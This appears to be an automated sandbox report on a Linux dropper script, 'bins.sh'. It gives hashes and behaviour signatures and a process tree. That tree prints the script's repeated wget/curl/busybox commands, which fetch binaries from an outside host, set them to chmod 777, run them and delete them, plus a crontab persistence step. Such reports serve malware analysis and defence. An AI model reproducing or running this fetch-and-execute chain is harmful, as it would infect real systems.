Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25-11-2024 08:56

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    535ebadfb3e0157fea5eae00397c2442

  • SHA1

    c470a2e682c181bf7fa16097fb9fb6e13d6ec577

  • SHA256

    cc389826e1c69d374e663bd661f142219337efc77291a8e24d98490ff36d9b1e

  • SHA512

    2270af8ba4f42d236720f7b95d8b4f015bb15ca09511dff315d78a0912540a06411be8c7aedaeb089353581b5324c24e7b47f5b99f64659f7f360f1d28f89cbe

  • SSDEEP

    96:YPSPqPkLmWl8txuGmUV1tyK7Lkfkzk9eGPxIxExVGWxEnMRLZxw9LhZbPjkLi6LN:g+GkFH2Q849eGv+MI+GYV849eG5

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 26 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:650
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
          2⤵
          • System Network Configuration Discovery
          PID:654
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
          2⤵
          • Checks CPU configuration
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:659
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
          2⤵
          • System Network Configuration Discovery
          PID:780
        • /bin/chmod
          chmod 777 rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
          2⤵
          • File and Directory Permissions Modification
          PID:781
        • /tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
          ./rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:782
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:784
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:785
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:786
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:787
              • /bin/rm
                rm rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
                2⤵
                  PID:790
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
                  2⤵
                  • System Network Configuration Discovery
                  PID:792
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
                  2⤵
                  • System Network Configuration Discovery
                  PID:793
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
                  2⤵
                  • System Network Configuration Discovery
                  PID:874
                • /bin/chmod
                  chmod 777 l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
                  2⤵
                  • File and Directory Permissions Modification
                  PID:875
                • /tmp/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
                  ./l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
                  2⤵
                  • System Network Configuration Discovery
                  PID:892
                • /bin/rm
                  rm l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
                  2⤵
                  • System Network Configuration Discovery
                  PID:893
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
                  2⤵
                  • System Network Configuration Discovery
                  PID:894
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
                  2⤵
                  • System Network Configuration Discovery
                  PID:895
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
                  2⤵
                  • System Network Configuration Discovery
                  PID:896
                • /bin/chmod
                  chmod 777 SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
                  2⤵
                  • File and Directory Permissions Modification
                  PID:897
                • /tmp/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
                  ./SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
                  2⤵
                    PID:898
                  • /bin/rm
                    rm SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
                    2⤵
                      PID:899
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
                      2⤵
                      • System Network Configuration Discovery
                      PID:900
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
                      2⤵
                      • System Network Configuration Discovery
                      PID:901
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
                      2⤵
                      • System Network Configuration Discovery
                      PID:902
                    • /bin/chmod
                      chmod 777 IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
                      2⤵
                      • File and Directory Permissions Modification
                      PID:903
                    • /tmp/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
                      ./IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
                      2⤵
                        PID:904
                      • /bin/rm
                        rm IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
                        2⤵
                          PID:905
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/J1QJC1kdS2esyq2WiF1GCoewowOKS7eLZN
                          2⤵
                          • System Network Configuration Discovery
                          PID:906
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/J1QJC1kdS2esyq2WiF1GCoewowOKS7eLZN
                          2⤵
                          • Checks CPU configuration
                          • System Network Configuration Discovery
                          PID:907
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/J1QJC1kdS2esyq2WiF1GCoewowOKS7eLZN
                          2⤵
                          • System Network Configuration Discovery
                          PID:908
                        • /bin/chmod
                          chmod 777 J1QJC1kdS2esyq2WiF1GCoewowOKS7eLZN
                          2⤵
                          • File and Directory Permissions Modification
                          PID:909
                        • /tmp/J1QJC1kdS2esyq2WiF1GCoewowOKS7eLZN
                          ./J1QJC1kdS2esyq2WiF1GCoewowOKS7eLZN
                          2⤵
                            PID:910
                          • /bin/rm
                            rm J1QJC1kdS2esyq2WiF1GCoewowOKS7eLZN
                            2⤵
                              PID:911
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/qutCDqFAHBg0Dyz9SQgR1tGJZKx5r5erCk
                              2⤵
                              • System Network Configuration Discovery
                              PID:912
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/qutCDqFAHBg0Dyz9SQgR1tGJZKx5r5erCk
                              2⤵
                              • System Network Configuration Discovery
                              PID:913
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/qutCDqFAHBg0Dyz9SQgR1tGJZKx5r5erCk
                              2⤵
                              • System Network Configuration Discovery
                              PID:917
                            • /bin/chmod
                              chmod 777 qutCDqFAHBg0Dyz9SQgR1tGJZKx5r5erCk
                              2⤵
                              • File and Directory Permissions Modification
                              PID:919
                            • /tmp/qutCDqFAHBg0Dyz9SQgR1tGJZKx5r5erCk
                              ./qutCDqFAHBg0Dyz9SQgR1tGJZKx5r5erCk
                              2⤵
                                PID:920
                              • /bin/rm
                                rm qutCDqFAHBg0Dyz9SQgR1tGJZKx5r5erCk
                                2⤵
                                  PID:921
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/h5uaTLSIYeVlit0NNOm6EGfbsVa3RXOviF
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:922
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/h5uaTLSIYeVlit0NNOm6EGfbsVa3RXOviF
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:923
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/h5uaTLSIYeVlit0NNOm6EGfbsVa3RXOviF
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:924
                                • /bin/chmod
                                  chmod 777 h5uaTLSIYeVlit0NNOm6EGfbsVa3RXOviF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:925
                                • /tmp/h5uaTLSIYeVlit0NNOm6EGfbsVa3RXOviF
                                  ./h5uaTLSIYeVlit0NNOm6EGfbsVa3RXOviF
                                  2⤵
                                    PID:927
                                  • /bin/rm
                                    rm h5uaTLSIYeVlit0NNOm6EGfbsVa3RXOviF
                                    2⤵
                                      PID:928
                                    • /usr/bin/wget
                                      wget http://conn.masjesu.zip/bins/QOQMSsrKf02u0mUpCzi4HlzoTGgsTjz3Zh
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:929
                                    • /usr/bin/curl
                                      curl -O http://conn.masjesu.zip/bins/QOQMSsrKf02u0mUpCzi4HlzoTGgsTjz3Zh
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:930
                                    • /bin/busybox
                                      /bin/busybox wget http://conn.masjesu.zip/bins/QOQMSsrKf02u0mUpCzi4HlzoTGgsTjz3Zh
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:935

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

                                    Filesize

                                    141KB

                                    MD5

                                    3ca8decdb1e52c423c521bfff02ac200

                                    SHA1

                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                    SHA256

                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                    SHA512

                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                  • /var/spool/cron/crontabs/tmp.bhOCU5

                                    Filesize

                                    210B

                                    MD5

                                    9641edb33ff830e06471d87bc29c84e0

                                    SHA1

                                    ebf99644aee6e2d85110296993bb56e384325664

                                    SHA256

                                    b7ed4cd1657f9383cfd2e07ddd0ace5186d7fa7f3ca0bb426f552dffb0eeae43

                                    SHA512

                                    007126af588f7a4d8be885836c10038646abfcfc014e23d6052d178d81d39a316e07a82a4ad1fb4a557903f52dd3b85fddad0b863d5e743adad659cafa5c0821